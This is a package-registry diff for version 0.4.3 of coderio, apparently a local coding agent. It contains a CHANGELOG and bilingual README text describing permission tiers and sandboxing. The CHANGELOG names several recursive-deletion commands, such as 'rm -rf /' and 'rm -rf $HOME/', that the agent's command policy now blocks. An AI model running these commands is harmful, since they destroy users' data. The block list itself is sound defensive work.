coderio 0.4.2__tar.gz → 0.4.3__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (196) hide show
  1. {coderio-0.4.2 → coderio-0.4.3}/CHANGELOG.md +18 -0
  2. coderio-0.4.3/PKG-INFO +148 -0
  3. coderio-0.4.3/README.md +103 -0
  4. coderio-0.4.3/README_en.md +103 -0
  5. {coderio-0.4.2 → coderio-0.4.3}/pyproject.toml +7 -7
  6. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/deep_loop.py +12 -11
  7. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/repl.py +9 -3
  8. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/loader.py +5 -6
  9. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/trust.py +55 -6
  10. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/command_policy.py +95 -25
  11. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/win_sandbox.py +0 -4
  12. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_deepagents_compat.py +12 -2
  13. {coderio-0.4.2 → coderio-0.4.3}/tests/config/test_trust.py +144 -2
  14. coderio-0.4.3/tests/test_seams.py +894 -0
  15. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_command_policy.py +36 -0
  16. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_sandbox.py +99 -0
  17. coderio-0.4.2/PKG-INFO +0 -535
  18. coderio-0.4.2/README.md +0 -487
  19. coderio-0.4.2/README_en.md +0 -490
  20. {coderio-0.4.2 → coderio-0.4.3}/.github/dependabot.yml +0 -0
  21. {coderio-0.4.2 → coderio-0.4.3}/.github/workflows/ci.yml +0 -0
  22. {coderio-0.4.2 → coderio-0.4.3}/.github/workflows/release.yml +0 -0
  23. {coderio-0.4.2 → coderio-0.4.3}/.gitignore +0 -0
  24. {coderio-0.4.2 → coderio-0.4.3}/CONTRIBUTING.md +0 -0
  25. {coderio-0.4.2 → coderio-0.4.3}/LICENSE +0 -0
  26. {coderio-0.4.2 → coderio-0.4.3}/THIRD_PARTY_LICENSES.md +0 -0
  27. {coderio-0.4.2 → coderio-0.4.3}/docs/coderio-architecture.md +0 -0
  28. {coderio-0.4.2 → coderio-0.4.3}/scripts/verify_deepagent_live.py +0 -0
  29. {coderio-0.4.2 → coderio-0.4.3}/scripts/verify_harness_live.py +0 -0
  30. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/__init__.py +0 -0
  31. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/__init__.py +0 -0
  32. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/_deepagents_compat.py +0 -0
  33. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/command_review.py +0 -0
  34. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/harness.py +0 -0
  35. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/harness_middleware.py +0 -0
  36. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/hooks.py +0 -0
  37. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/permission_middleware.py +0 -0
  38. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/prompts.py +0 -0
  39. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/skill_tool.py +0 -0
  40. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/state.py +0 -0
  41. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/agent/stream.py +0 -0
  42. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/__init__.py +0 -0
  43. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/app.py +0 -0
  44. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/commands.py +0 -0
  45. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/credentials.py +0 -0
  46. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/mcp_cmd.py +0 -0
  47. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/multimodal.py +0 -0
  48. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/onboarding.py +0 -0
  49. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/providers.py +0 -0
  50. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/render.py +0 -0
  51. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/run_cmd.py +0 -0
  52. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/skills_cmd.py +0 -0
  53. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/stream.py +0 -0
  54. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/tui.py +0 -0
  55. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/tui_onboarding.py +0 -0
  56. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/tui_screens.py +0 -0
  57. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/cli/tui_widgets.py +0 -0
  58. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/__init__.py +0 -0
  59. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/bootstrap.py +0 -0
  60. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/config/models.py +0 -0
  61. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/llm/__init__.py +0 -0
  62. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/llm/factory.py +0 -0
  63. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/llm/probe.py +0 -0
  64. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/mcp_loader.py +0 -0
  65. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/session/__init__.py +0 -0
  66. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/session/message.py +0 -0
  67. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/session/store.py +0 -0
  68. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/__init__.py +0 -0
  69. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/bundled/executing-plans/SKILL.md +0 -0
  70. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/LICENSE +0 -0
  71. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/README.md +0 -0
  72. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/clarifying-questions/SKILL.md +0 -0
  73. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/clarifying-questions/evals/evals.json +0 -0
  74. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/code-review/SKILL.md +0 -0
  75. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/code-review/evals/evals.json +0 -0
  76. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/commit-message/SKILL.md +0 -0
  77. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/commit-message/evals/evals.json +0 -0
  78. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/debugging/SKILL.md +0 -0
  79. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/debugging/evals/evals.json +0 -0
  80. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/error-handling/SKILL.md +0 -0
  81. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/error-handling/evals/evals.json +0 -0
  82. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/lion-writing-skills/SKILL.md +0 -0
  83. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/lion-writing-skills/evals/evals.json +0 -0
  84. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/naming/SKILL.md +0 -0
  85. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/naming/evals/evals.json +0 -0
  86. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/SKILL.md +0 -0
  87. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/onboarding-unknown-codebase/evals/evals.json +0 -0
  88. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/spec-writing/SKILL.md +0 -0
  89. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/spec-writing/evals/evals.json +0 -0
  90. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/task-breakdown/SKILL.md +0 -0
  91. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/task-breakdown/evals/evals.json +0 -0
  92. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/testing/SKILL.md +0 -0
  93. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/testing/evals/evals.json +0 -0
  94. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/verify-and-fix/SKILL.md +0 -0
  95. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/lion-skills/skills/verify-and-fix/evals/evals.json +0 -0
  96. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/models.py +0 -0
  97. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/parser.py +0 -0
  98. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/skills/store.py +0 -0
  99. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/__init__.py +0 -0
  100. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/base.py +0 -0
  101. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/bash.py +0 -0
  102. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/edit_file.py +0 -0
  103. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/glob_tool.py +0 -0
  104. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/grep_tool.py +0 -0
  105. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/linux_sandbox.py +0 -0
  106. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/list_dir.py +0 -0
  107. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/multi_edit.py +0 -0
  108. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/note.py +0 -0
  109. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/permission.py +0 -0
  110. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/read_file.py +0 -0
  111. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/sandbox_runner.py +0 -0
  112. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/todo.py +0 -0
  113. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/web_fetch.py +0 -0
  114. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/web_search.py +0 -0
  115. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/win_job.py +0 -0
  116. {coderio-0.4.2 → coderio-0.4.3}/src/coderio/tools/write_file.py +0 -0
  117. {coderio-0.4.2 → coderio-0.4.3}/tests/__init__.py +0 -0
  118. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/__init__.py +0 -0
  119. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/conftest.py +0 -0
  120. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_command_review.py +0 -0
  121. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_deep_integration.py +0 -0
  122. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_deep_loop.py +0 -0
  123. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_deep_loop_unit.py +0 -0
  124. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_harness.py +0 -0
  125. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_harness_middleware.py +0 -0
  126. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_hooks.py +0 -0
  127. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_perf_baseline.py +0 -0
  128. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_prompts.py +0 -0
  129. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_skill_tool.py +0 -0
  130. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_state.py +0 -0
  131. {coderio-0.4.2 → coderio-0.4.3}/tests/agent/test_stream.py +0 -0
  132. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/__init__.py +0 -0
  133. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_app.py +0 -0
  134. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_command_menu.py +0 -0
  135. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_commands.py +0 -0
  136. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_credentials.py +0 -0
  137. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_input_isolation.py +0 -0
  138. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_live_thinking.py +0 -0
  139. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_mcp_cmd.py +0 -0
  140. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_multimodal.py +0 -0
  141. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_onboarding.py +0 -0
  142. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_onboarding_logic.py +0 -0
  143. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_providers.py +0 -0
  144. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_render.py +0 -0
  145. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_repl_loop.py +0 -0
  146. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_repl_reset.py +0 -0
  147. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_run_cmd.py +0 -0
  148. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_skills_cmd.py +0 -0
  149. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_status_bar.py +0 -0
  150. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_stream.py +0 -0
  151. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_truncation.py +0 -0
  152. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_tui_onboarding.py +0 -0
  153. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_tui_picker.py +0 -0
  154. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_tui_screens.py +0 -0
  155. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_tui_startup.py +0 -0
  156. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_tui_widgets.py +0 -0
  157. {coderio-0.4.2 → coderio-0.4.3}/tests/cli/test_ux_features.py +0 -0
  158. {coderio-0.4.2 → coderio-0.4.3}/tests/config/__init__.py +0 -0
  159. {coderio-0.4.2 → coderio-0.4.3}/tests/config/test_bootstrap.py +0 -0
  160. {coderio-0.4.2 → coderio-0.4.3}/tests/config/test_loader.py +0 -0
  161. {coderio-0.4.2 → coderio-0.4.3}/tests/config/test_models.py +0 -0
  162. {coderio-0.4.2 → coderio-0.4.3}/tests/conftest.py +0 -0
  163. {coderio-0.4.2 → coderio-0.4.3}/tests/e2e/__init__.py +0 -0
  164. {coderio-0.4.2 → coderio-0.4.3}/tests/llm/__init__.py +0 -0
  165. {coderio-0.4.2 → coderio-0.4.3}/tests/llm/test_factory.py +0 -0
  166. {coderio-0.4.2 → coderio-0.4.3}/tests/llm/test_probe.py +0 -0
  167. {coderio-0.4.2 → coderio-0.4.3}/tests/session/__init__.py +0 -0
  168. {coderio-0.4.2 → coderio-0.4.3}/tests/session/test_message.py +0 -0
  169. {coderio-0.4.2 → coderio-0.4.3}/tests/session/test_store.py +0 -0
  170. {coderio-0.4.2 → coderio-0.4.3}/tests/skills/__init__.py +0 -0
  171. {coderio-0.4.2 → coderio-0.4.3}/tests/skills/test_bundled.py +0 -0
  172. {coderio-0.4.2 → coderio-0.4.3}/tests/skills/test_parser.py +0 -0
  173. {coderio-0.4.2 → coderio-0.4.3}/tests/skills/test_skill_tools.py +0 -0
  174. {coderio-0.4.2 → coderio-0.4.3}/tests/skills/test_store.py +0 -0
  175. {coderio-0.4.2 → coderio-0.4.3}/tests/test_mcp_loader.py +0 -0
  176. {coderio-0.4.2 → coderio-0.4.3}/tests/test_p0_stability.py +0 -0
  177. {coderio-0.4.2 → coderio-0.4.3}/tests/test_repl.py +0 -0
  178. {coderio-0.4.2 → coderio-0.4.3}/tests/test_version.py +0 -0
  179. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/__init__.py +0 -0
  180. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_bash.py +0 -0
  181. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_concrete_gates.py +0 -0
  182. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_edit_prefix.py +0 -0
  183. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_file_tools.py +0 -0
  184. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_glob_tool.py +0 -0
  185. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_grep_tool.py +0 -0
  186. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_list_dir.py +0 -0
  187. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_multi_edit.py +0 -0
  188. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_note.py +0 -0
  189. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_permission.py +0 -0
  190. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_registry.py +0 -0
  191. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_search_tools.py +0 -0
  192. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_todo.py +0 -0
  193. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_web.py +0 -0
  194. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_web_fetch.py +0 -0
  195. {coderio-0.4.2 → coderio-0.4.3}/tests/tools/test_win_job.py +0 -0
  196. {coderio-0.4.2 → coderio-0.4.3}/uv.lock +0 -0
@@ -6,6 +6,24 @@ All notable changes to coderio are documented here. The format follows
6
6
  `pyproject.toml`'s `[project].version` — `coderio.__version__` reads it via
7
7
  `importlib.metadata`.
8
8
 
9
+ ## [0.4.3] — 2026-08-21
10
+
11
+ ### Security — P1/P2 hardening (audit-verified, adversarial + mutation tested)
12
+ - **command_policy**: replaced fragile `_RM_RECURSIVE_PREFIX` regex (failed on
13
+ `rm -fr /` and `--recursive --force`) with Python-level `_check_recursive_rm()`
14
+ that tokenizes the command and correctly detects recursive flags in any order.
15
+ All flag permutations now blocked: `rm -rf /`, `rm -fr /`, `rm -r -f /`,
16
+ `rm --recursive --force /`, `rm --RECURSIVE /`, `rm -rf ~/`, `rm -rf $HOME/`,
17
+ `rm -rf *`. False positives eliminated: `rm -f /etc/passwd`, `rm --Force /`,
18
+ `echo rm -rf /`.
19
+ - **win_sandbox**: reverted `_dict_to_env_block` env-forwarding plumbing that
20
+ broke `CreateProcessAsUserW` on Win32. `lpEnvironment=None` preserves parent
21
+ env inheritance (safest path). Known limitation documented for future work.
22
+ - **loader**: `_find_project_dir` now accepts `str | Path` (CLI may pass str).
23
+ - **test_seams**: new 22-test seam suite covering command_policy↔middleware,
24
+ loader↔repl↔skills, deep_loop↔sandbox_runner↔win_sandbox boundaries.
25
+ All existing tests (884 passed) + seams (22 passed) green.
26
+
9
27
  ## [0.4.2] — 2026-08-18
10
28
 
11
29
  ### Security — v3 audit short-term batch (#7/#8/#9/#11/#14, all runtime-verified)
coderio-0.4.3/PKG-INFO ADDED
@@ -0,0 +1,148 @@
1
+ Metadata-Version: 2.5
2
+ Name: coderio
3
+ Version: 0.4.3
4
+ Summary: A skill-driven coding agent — structural harness, foldable thinking TUI, deepagents engine.
5
+ Author: coderio contributors
6
+ License-Expression: MIT
7
+ License-File: LICENSE
8
+ Keywords: agent,ai-agent,cli,coding-agent,langchain,langgraph,llm,mcp,model-context-protocol,sandbox,skills,textual,tui
9
+ Classifier: Development Status :: 3 - Alpha
10
+ Classifier: Environment :: Console
11
+ Classifier: Intended Audience :: Developers
12
+ Classifier: Operating System :: MacOS
13
+ Classifier: Operating System :: Microsoft :: Windows
14
+ Classifier: Operating System :: POSIX :: Linux
15
+ Classifier: Programming Language :: Python :: 3
16
+ Classifier: Programming Language :: Python :: 3.11
17
+ Classifier: Programming Language :: Python :: 3.12
18
+ Classifier: Programming Language :: Python :: 3.13
19
+ Classifier: Topic :: Software Development :: Code Generators
20
+ Requires-Python: >=3.11
21
+ Requires-Dist: ddgs>=4.0
22
+ Requires-Dist: deepagents>=0.6
23
+ Requires-Dist: httpx>=0.27
24
+ Requires-Dist: langchain-anthropic>=0.2
25
+ Requires-Dist: langchain-core>=0.3
26
+ Requires-Dist: langchain-openai>=0.2
27
+ Requires-Dist: langchain>=0.3
28
+ Requires-Dist: langgraph-checkpoint-sqlite>=2.0
29
+ Requires-Dist: langgraph>=0.2
30
+ Requires-Dist: pydantic>=2
31
+ Requires-Dist: rich>=13
32
+ Requires-Dist: textual>=0.40
33
+ Requires-Dist: tomli-w>=1.0
34
+ Requires-Dist: typer>=0.12
35
+ Provides-Extra: dev
36
+ Requires-Dist: build>=1.2; extra == 'dev'
37
+ Requires-Dist: mypy>=1.10; extra == 'dev'
38
+ Requires-Dist: pytest-asyncio>=0.23; extra == 'dev'
39
+ Requires-Dist: pytest-cov>=4; extra == 'dev'
40
+ Requires-Dist: pytest>=8; extra == 'dev'
41
+ Requires-Dist: ruff>=0.16; extra == 'dev'
42
+ Provides-Extra: mcp
43
+ Requires-Dist: langchain-mcp-adapters>=0.3.2; extra == 'mcp'
44
+ Description-Content-Type: text/markdown
45
+
46
+ # coderio
47
+
48
+ [中文](README.md) | **English**
49
+
50
+ > The agent claims "done" without running the tests? coderio's harness stops it.
51
+ > A local coding agent with **native Zhipu GLM & StepFun Step coding-plan support** — four-tier permissions, layered sandbox, MCP, lifecycle hooks, and an interactive TUI.
52
+
53
+ ![demo](demo.gif)
54
+
55
+ ## Install
56
+
57
+ ```bash
58
+ pip install coderio
59
+ coderio # onboarding wizard on first launch (pick provider, paste API key, auto context-window probe)
60
+ ```
61
+
62
+ Requires Python 3.11+; Git Bash on Windows. Linux / macOS supported.
63
+
64
+ ## Why coderio
65
+
66
+ The shared weakness of coding agents: **the model says "I'm done" and you just have to trust it**. coderio turns that sentence into a structural constraint—
67
+
68
+ ### The Four Gates: the agent can't lie to you
69
+
70
+ | Gate | Behavior |
71
+ |---|---|
72
+ | **VerifyGate** | Wrote code, never ran it, wants to finish → intercepted, forced to continue. Parses real exit codes — **a failing test run does NOT count as verified** |
73
+ | **CompletionGate** | Declares done with pending todos → intercepted |
74
+ | **GroundingGate** | Cites files it never read → intercepted |
75
+ | **PlanGate** | Writes code without a todo list → soft nudge |
76
+
77
+ Not a prompt-level soft rule — a system-level control based on tool-call ground truth. Claude Code and Codex don't have this.
78
+
79
+ ### Native Chinese coding-plan support
80
+
81
+ Zhipu **GLM Coding Plan** and StepFun **Step Plan** work out of the box (direct Anthropic-protocol connection) — your subscription quota runs a local agent, no proxies, no middle layer. Also supports OpenAI / Anthropic / Ollama / any OpenAI-compatible endpoint, with multi-profile switching.
82
+
83
+ ### Layered security, honestly stated
84
+
85
+ - Four permission tiers (plan read-only / confirm per-action / auto_edit / full)
86
+ - Command blacklist + whitelist (accident prevention); Linux bubblewrap OS sandbox (boundary enforcement)
87
+ - First-use repo-config trust confirmation (hostile-repo protection); web_fetch SSRF protection
88
+ - The blacklist/whitelist are **accident prevention, not adversarial defense** — adversarial protection comes from the sandbox + permissions; use a VM for hostile code
89
+
90
+ ## Feature highlights
91
+
92
+ - **Interactive TUI**: streaming output, foldable thinking (Ctrl+O), collapsible TODO panel, vertical permission menu, task interruption (Esc), slash-command autocomplete, session management
93
+ - **Headless mode**: `coderio run "task"` one-shot execution (CI / scripts / benchmarks) with graded exit codes
94
+ - **MCP support**: connect external tools via `.mcp.json` (Claude Code-compatible format), managed with `coderio mcp`
95
+ - **Lifecycle hooks**: `[[hooks]]` run your commands at PreToolUse / PostToolUse / UserPromptSubmit (exit 2 = block) — IO contract compatible with Claude Code
96
+ - **Three-layer skills**: bundled + user + project, progressive disclosure saves context
97
+ - **Context governance**: auto-compaction (60% window trigger), large-block offload, sqlite checkpoints across turns
98
+ - **Subagents**: research (read-only, double-enforced) + general-purpose (inherits the main agent's full security stack)
99
+ - **Engineering discipline**: 850+ tests, 80% coverage, mypy hard gate, uv.lock, 3 OS × 2 Python CI matrix
100
+
101
+ <details>
102
+ <summary><b>Config example</b> (click to expand)</summary>
103
+
104
+ ```toml
105
+ # ~/.coderio/config.toml
106
+ [model]
107
+ provider_id = "bigmodel_coding_plan" # Zhipu/StepFun coding plan, or openai/anthropic/ollama/custom
108
+ default = "glm-5.2"
109
+
110
+ [tools]
111
+ permission_mode = "confirm" # plan | confirm | auto_edit | full
112
+ sandbox_mode = "off" # off | job (resource limits) | write (Linux file-write isolation)
113
+
114
+ # Lifecycle hooks (Claude Code-compatible contract)
115
+ [[hooks]]
116
+ event = "PreToolUse"
117
+ matcher = "write_file|edit_file"
118
+ command = "python .hooks/protect.py" # JSON on stdin; exit 2 = block
119
+ ```
120
+
121
+ MCP, the sandbox 4-tuple, and more: [docs/coderio-architecture.md](docs/coderio-architecture.md).
122
+
123
+ </details>
124
+
125
+ ## Common commands
126
+
127
+ ```bash
128
+ coderio # interactive TUI
129
+ coderio run "fix the failing test" --quiet # headless one-shot
130
+ coderio run "task" --dangerously-skip-permissions # full access (explicit opt-in)
131
+ coderio mcp add github --type http --url ... # manage MCP
132
+ coderio skills install # install skill suites
133
+ ```
134
+
135
+ Type `/` inside the TUI for all commands (/resume sessions, /mode permissions, /profile configs, /think unfold reasoning).
136
+
137
+ ## Known limitations
138
+
139
+ - The Windows write-sandbox currently equals job mode (true isolation awaits the ACL work — documented honestly)
140
+ - Blacklist/whitelist are accident-prevention by design (regex can be bypassed by obfuscation); use the sandbox / a VM for adversarial scenarios
141
+
142
+ ## Origin
143
+
144
+ A spare-time project, open-sourced as a working reference for developers building their own coding agents. The name is **code + rio** (the author's English name is Lion; "codelion" sounded odd).
145
+
146
+ ## Contributing & License
147
+
148
+ Issues and PRs welcome — see [CONTRIBUTING.md](CONTRIBUTING.md). MIT License.
@@ -0,0 +1,103 @@
1
+ # coderio
2
+
3
+ **中文** | [English](README_en.md)
4
+
5
+ > 写了代码没跑过测试就说"完成"?coderio 的 harness 会拦住它。
6
+ > 一个**原生支持智谱 GLM / 阶跃 StepFun Coding Plan** 的本地 coding agent——四级权限、多层沙箱、MCP、生命周期 hooks、交互式 TUI。
7
+
8
+ ![demo](demo.gif)
9
+
10
+ ## 安装
11
+
12
+ ```bash
13
+ pip install coderio
14
+ coderio # 首次启动进入 onboarding 向导(选 provider、填 API key、自动探测上下文窗口)
15
+ ```
16
+
17
+ 要求:Python 3.11+;Windows 需 Git Bash。支持 Linux / macOS。
18
+
19
+ ## 为什么是 coderio
20
+
21
+ 市面上 coding agent 的共同软肋:**模型说"我做完了",你就得信**。coderio 把这句话变成了结构约束——
22
+
23
+ ### 四道门:agent 骗不了你
24
+
25
+ | 门 | 行为 |
26
+ |---|---|
27
+ | **VerifyGate** | 写了代码没跑验证就想结束 → 拦截、强制续跑。解析真实 exit code,**测试失败不算验证通过** |
28
+ | **CompletionGate** | TODO 没清完就宣布完成 → 拦截 |
29
+ | **GroundingGate** | 引用从未读过的文件下结论 → 拦截 |
30
+ | **PlanGate** | 没 TODO 就动手写码 → 软提醒 |
31
+
32
+ 不是提示词软规则,是基于工具调用 ground truth 的系统级控制。Claude Code / Codex 都没有这个。
33
+
34
+ ### 原生支持中文 Coding Plan
35
+
36
+ 智谱 **GLM Coding Plan** 和阶跃 **StepFun Step Plan** 开箱即用(Anthropic 协议直连)——你的订阅额度跑本地 agent,不需要转发、不需要中间层。同时支持 OpenAI / Anthropic / Ollama / 任意 OpenAI 兼容端点,多 profile 一键切换。
37
+
38
+ ### 多层安全,诚实声明
39
+
40
+ - 四级权限(plan 只读 / confirm 逐项确认 / auto_edit / full)
41
+ - 命令黑名单 + 白名单(防手滑);Linux bubblewrap OS 级沙箱(防越界写)
42
+ - 仓库配置首次信任确认(防克隆恶意仓库);web_fetch SSRF 防护
43
+ - 黑白名单是**防手滑不是防对抗**——对抗性防护靠沙箱 + 权限,恶意代码请用 VM
44
+
45
+ ## 特性一览
46
+
47
+ - **交互式 TUI**:流式输出、思考折叠(Ctrl+O)、可折叠 TODO 面板、纵向权限菜单、任务中断(Esc)、slash 命令补全、会话管理
48
+ - **headless 模式**:`coderio run "任务"` 单次运行(CI / 脚本 / benchmark),退出码分级
49
+ - **MCP 支持**:`.mcp.json`(Claude Code 兼容格式)接入外部工具,`coderio mcp` 命令行管理
50
+ - **生命周期 hooks**:`[[hooks]]` 在 PreToolUse / PostToolUse / UserPromptSubmit 等事件执行你的命令(exit 2 = 阻断),IO 契约与 Claude Code 兼容
51
+ - **skills 三层加载**:bundled + 用户 + 项目层,渐进披露省上下文
52
+ - **上下文治理**:自动压缩(60% 窗口触发)、大块 offload、sqlite 检查点跨轮持久化
53
+ - **子 agent**:research(只读,双重强制)+ general-purpose(继承主 agent 全部安全层)
54
